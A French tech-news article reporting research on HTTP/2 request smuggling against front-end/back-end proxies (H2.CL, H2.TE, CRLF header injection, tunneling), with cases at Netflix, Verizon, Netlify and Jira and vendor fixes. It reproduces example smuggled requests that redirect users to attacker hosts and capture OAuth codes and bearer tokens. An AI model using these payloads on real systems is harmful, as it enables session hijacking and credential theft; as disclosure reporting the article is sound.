Nouvelle attaque sur les systèmes front-end back-end, permettant d'intercaler des requêtes

Les systèmes web où le front-end reçoit des connexions via HTTP/2 et les transmet au back-end par HTTP/1.1 sont vulnérables à une nouvelle variante de l'attaque « HTTP Request Smuggling », qui permet, en envoyant des requêtes client soigneusement formatées, de s'immiscer dans le contenu des requêtes d'autres utilisateurs traitées dans le même flux entre le front-end et le back-end. Cette attaque peut être utilisée pour injecter un code JavaScript malveillant dans une session avec un site légitime, contourner les systèmes de contrôle d'accès et intercepter les paramètres d'authentification.

Le problème affecte les web proxies, les équilibreur de charge, les accéléreurs web, les systèmes de diffusion de contenu et d'autres configurations où les requêtes sont redirigées selon le schéma front-end-back-end. L'auteur de l'étude a démontré la possibilité d'une attaque contre les systèmes Netflix, Verizon, Bitbucket, Netlify CDN et Atlassian, et a reçu 56 000 dollars dans des programmes de récompense pour la découverte de vulnérabilités. La problématique a également été confirmée dans les produits F5 Networks. Le problème touche en partie mod_proxy dans le serveur http Apache (CVE-2021-33193), un correctif est attendu dans la version 2.4.49 (les développeurs ont été informés du problème début mai et ont eu 3 mois pour le corriger). Dans nginx, la possibilité de spécifier simultanément les en-têtes « Content-Length » et « Transfer-Encoding » a été bloquée dans la dernière version (1.21.1). Des outils pour mener des attaques ont déjà été ajoutés à l'outil Burp et sont disponibles sous forme d'extension Turbo Intruder.

Le principe d'action de cette nouvelle méthode d'insertion de requêtes dans le trafic est similaire à la vulnérabilité identifiée par le même chercheur il y a deux ans, mais limitée aux front-ends acceptant des requêtes via HTTP/1.1. Rappelons que dans le schéma front-end-back-end, un nœud supplémentaire — le front-end — reçoit les requêtes des clients et établit une connexion TCP de longue durée avec le back-end, qui traite directement les requêtes. À travers cette connexion partagée, différentes requêtes d'utilisateurs sont généralement transmises, suivant une chaîne les unes après les autres avec une séparation par les moyens du protocole HTTP.

L'attaque classique « HTTP Request Smuggling » reposait sur le fait que les frontends et backends interprètent différemment l'utilisation des en-têtes HTTP « Content-Length » (qui détermine la taille totale des données dans la requête) et « Transfer-Encoding: chunked » (qui permet de transmettre des données par morceaux). Par exemple, si le frontend ne prend en charge que « Content-Length », mais ignore « Transfer-Encoding: chunked », alors un attaquant peut envoyer une requête dans laquelle les en-têtes « Content-Length » et « Transfer-Encoding: chunked » sont spécifiés en même temps, mais la taille dans « Content-Length » ne correspond pas à la taille de la chaîne chunked. Dans ce cas, le frontend traitera et redirigera la requête en fonction de « Content-Length », tandis que le backend s'attendra à la fin du bloc basée sur « Transfer-Encoding: chunked », et le reste de la requête de l'attaquant se retrouvera au début de la requête étrangère transmise ensuite.

Contrairement au protocole textuel HTTP/1.1, dont l'analyse se fait au niveau des lignes, HTTP/2 est un protocole binaire et manipule des blocs de données de taille spécifiée à l'avance. Dans HTTP/2, des pseudo-en-têtes sont utilisés, correspondant à des en-têtes HTTP ordinaires. Lorsqu'il interagit avec le backend via le protocole HTTP/1.1, le frontend traduit ces pseudo-en-têtes en équivalents des en-têtes HTTP/1.1. Le problème est que le backend prend des décisions d'analyse du flux uniquement sur la base des en-têtes HTTP fournis par le frontend, sans avoir d'informations sur les paramètres de la requête d'origine.

Y compris sous forme de pseudo-en-têtes, les valeurs « content-length » et « transfer-encoding » peuvent être transmises, même si elles ne sont pas utilisées dans HTTP/2, car la taille de toutes les données est déterminée dans un champ distinct. Cependant, lors de la conversion d'une requête HTTP/2 en HTTP/1.1, ces en-têtes sont transférés et peuvent induire le backend en erreur. Deux principaux types d'attaques se distinguent : H2.TE et H2.CL, où le backend est trompé par une valeur incorrecte de transfer-encoding ou de content-length, ne correspondant pas à la taille réelle du corps de la requête reçue par le frontend au travers du protocole HTTP/2.

À titre d'exemple, l'attaque H2.CL consiste à indiquer une taille incorrecte dans l'en-tête pseudo-content-length lors de l'envoi d'une requête HTTP/2 à Netflix. Cette requête entraîne l'ajout d'un en-tête HTTP Content-Length similaire lors de l'appel au backend via HTTP/1.1, mais comme la taille dans Content-Length est inférieure à la taille réelle, une partie des données à la fin est traitée comme le début de la requête suivante.

Par exemple, la requête HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Tout cela conduira à l'envoi d'une requête au backend : POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Comme la valeur de Content-Length est 4, le backend considérera que le corps de la requête est uniquement «abcd», tandis que le reste «GET /n HTTP/1.1…» sera traité comme le début d'une requête suivante, associée à un autre utilisateur. Ainsi, une désynchronisation du flux se produira, et la réponse à la demande suivante renverra le résultat du traitement de la requête piégée. Dans le cas de Netflix, l'indication d'un hôte tiers dans l'en-tête «Host:» de la requête piégée a conduit à la réponse du client «Location: https://02.rs?x.netflix.com/n» et a permis de transmettre au client un contenu arbitraire, y compris l'exécution de son propre code JavaScript dans le contexte du site Netflix.

La seconde variante d'attaque (H2.TE) est liée à la substitution de l'en-tête «Transfer-Encoding: chunked». L'utilisation de l'en-tête pseudo-transfer-encoding dans HTTP/2 est interdite par la spécification, et les requêtes contenant cet en-tête doivent être considérées comme incorrectes. Malgré cela, certaines implémentations de frontaux ne tiennent pas compte de cette exigence et autorisent l'utilisation de l'en-tête pseudo-transfer-encoding dans HTTP/2, qui est transformé en un en-tête HTTP similaire. Lorsqu'un en-tête «Transfer-Encoding» est présent, le backend peut le considérer comme plus prioritaire et analyser les données par morceaux en mode «chunked», en utilisant des blocs de tailles différentes au format «{taille}\r\n{bloc}\r\n{taille}\r\n{bloc}\r\n0», malgré la séparation de la taille totale.

Une telle faille a été démontrée à l'exemple de l'entreprise Verizon. Le problème concernait le portail d'authentification et du système de gestion de contenu, qui est également utilisé sur des sites tels que Huffington Post et Engadget. Par exemple, la requête du client en HTTP/2 : :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

A conduit for transmitting to the backend an HTTP/1.1 request: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Le backend, pour sa part, ignorait l'en-tête «Content-Length» et procédait à la fragmentation des flux sur la base de «Transfer-Encoding: chunked». En pratique, l'attaque a permis de rediriger les requêtes des utilisateurs vers son propre site et de capturer les requêtes liées à l'authentification OAuth, dont les paramètres apparaissaient dans l'en-tête Referer, ainsi que de simuler une session d'authentification et d'initier l'envoi des informations d'identification de l'utilisateur au serveur de l'attaquant. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

Pour attaquer les implémentations HTTP/2 qui ne permettent pas l'indication de l'en-tête pseudo 'transfer-encoding', une autre méthode a été proposée, consistant à injecter l'en-tête «Transfer-Encoding» en l'attachant à d'autres en-têtes pseudo avec une séparation par un caractère de nouvelle ligne (lors de la conversion en HTTP/1.1, deux en-têtes HTTP distincts sont créés dans ce cas).

Par exemple, le problème mentionné a affecté Atlassian Jira et Netlify CDN (utilisé pour fournir la page de démarrage de Mozilla dans Firefox). En particulier, la requête HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=

a conduit à l'envoi au backend d'une requête HTTP/1.1 POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=

Une autre variante de l'injection de l'en-tête «Transfer-Encoding» consistait à l'attacher au nom d'un autre en-tête pseudo ou à la ligne avec la méthode de requête. Par exemple, lors de l'accès à Atlassian Jira, le nom de l'en-tête pseudo «foo: bar\r\ntransfer-encoding» avec la valeur «chunked» conduisait à l'ajout des en-têtes HTTP «foo: bar» et «transfer-encoding: chunked», tandis que la valeur indiquée dans l'en-tête pseudo «:method» «GET / HTTP/1.1\r\nTransfer-encoding: chunked» était traduite par «GET / HTTP/1.1\r\ntransfer-encoding: chunked».

Le chercheur ayant identifié le problème a également proposé une technique de tunneling des requêtes pour attaquer les frontaux, où pour chacun adresses IP une connexion distincte est établie avec le backend et le trafic des différents utilisateurs n'est pas mélangé. La technique proposée ne permet pas d'interférer avec les demandes d'autres utilisateurs, mais permet d'injecter un cache global qui influence le traitement d'autres demandes, et permet d'effectuer une substitution des en-têtes HTTP internes, utilisés pour transmettre des informations d'assistance du frontend au backend (par exemple, lors de l'authentification côté frontend, des informations sur l'utilisateur actuel peuvent être transmises au backend dans ces en-têtes). À titre d'exemple de l'application de la méthode en pratique, un contrôle sur des pages dans le service Bitbucket a été obtenu grâce à l'injection de cache.

Source : opennet.ru